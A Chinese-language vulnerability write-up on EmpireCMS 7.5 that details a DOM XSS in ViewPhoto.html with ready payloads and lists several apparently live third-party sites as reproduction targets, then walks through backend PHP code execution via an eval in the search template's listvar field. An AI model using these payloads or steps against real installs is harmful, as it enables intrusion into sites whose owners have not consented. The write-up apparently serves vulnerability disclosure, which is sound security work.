DOM型xss
漏洞分析
漏洞地址
/e/data/mfile/ViewPhoto.html
Request函数获取URL参数输入,通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。

通过Request函数获取URL参数,并作为img的src属性和input的value属性,然后通过document.write输出到页面。

payload
1 2
| /e/data/mfile/viewphoto.html?url=" onerror=alert(1);> /e/data/mfile/viewphoto.html?url=1" onerror=alert(1) asd="
|
本地复现
本地测试成功,前提是必须用IE浏览器打开,原因是ViewPhoto.html没有对输入的数据进行url解码,而只有IE浏览器才会把payload进行url解码后输出在html中,其他浏览器会原封不动的输出url编码后的payload,造成利用失败。

案例复现
用ie浏览器打开
1 2 3 4
| http://cfdacx.com/e/data/mfile/ViewPhoto.html?url=1" onerror=alert(1) asd=" http://121.41.73.134/shshufa/e/data/mfile/ViewPhoto.html?url=1" onerror=alert(1) asd=" http://www.zkhsz.com/m/e/data/mfile/ViewPhoto.html?url=1" onerror=alert(1) asd=" http://mdhrczi.52xuzhi.com/e/data/mfile/ViewPhoto.html?url=1" onerror=alert(1) asd="
|



后台代码执行
初始化配置
下载Empirecms7.5
http://www.phome.net/download/
需要先添加终极栏目

修改模板选项

在增加新闻处增加一篇文章,内容按下面的格式即可

漏洞分析
e/class/connect.php
ReplaceListVars方法存在eval,参数$listtemp可控,当满足条件$decode==1时触发代码执行

/e/search/result/index.php
参数来源于第二个参数$listvar

/e/search/result/index.php
$listvar来源于$tempr[listvar]

/e/search/result/index.php
$listvar和$docode都来自于phome_enewssearchtemp表
1 2 3 4
| if($search_r['tempid']) { $tempr=$empire->fetch1("select temptext,subnews,listvar,rownum,showdate,modid,subtitle,docode from ".GetTemptb("enewssearchtemp")." where tempid='".$search_r['tempid']."' limit 1"); }
|
可以看到这两个字段

登陆后台,进入后台地图->管理搜索模板,在搜索模板插入恶意代码

其中可以修改listvar字段的值,在其中加入php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| phpinfo();/*<h2 class="r"><span>[!--no.num--].</span> <a class="l" href="[!--titleurl--]" target="_blank">[!--title--]</a></h2> <table width="80%" border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td>[!--smalltext--]</td> </tr> <tr> <td><span class="a">[!--titleurl--] - [!--newstime--]</span> - <a class="fl" href="[!--this.classlink--]" target="_blank">[!--this.classname--]</a></td> </tr> <tr> <td> </td> </tr> </tbody> </table>*/
|

由于docode字段默认值为0,需要利用后台的sql执行功能把它改成1
1
| update phome_enewssearchtemp set docode=1 where tempid=1;
|

站内搜索添加好的文章,这里必须保证相应标题的内容是存在的,才会触发漏洞

成功执行
1
| http://localhost/e/search/result/?searchid=1
|

总结
第一个xss没通过审核,代码执行过了
证书
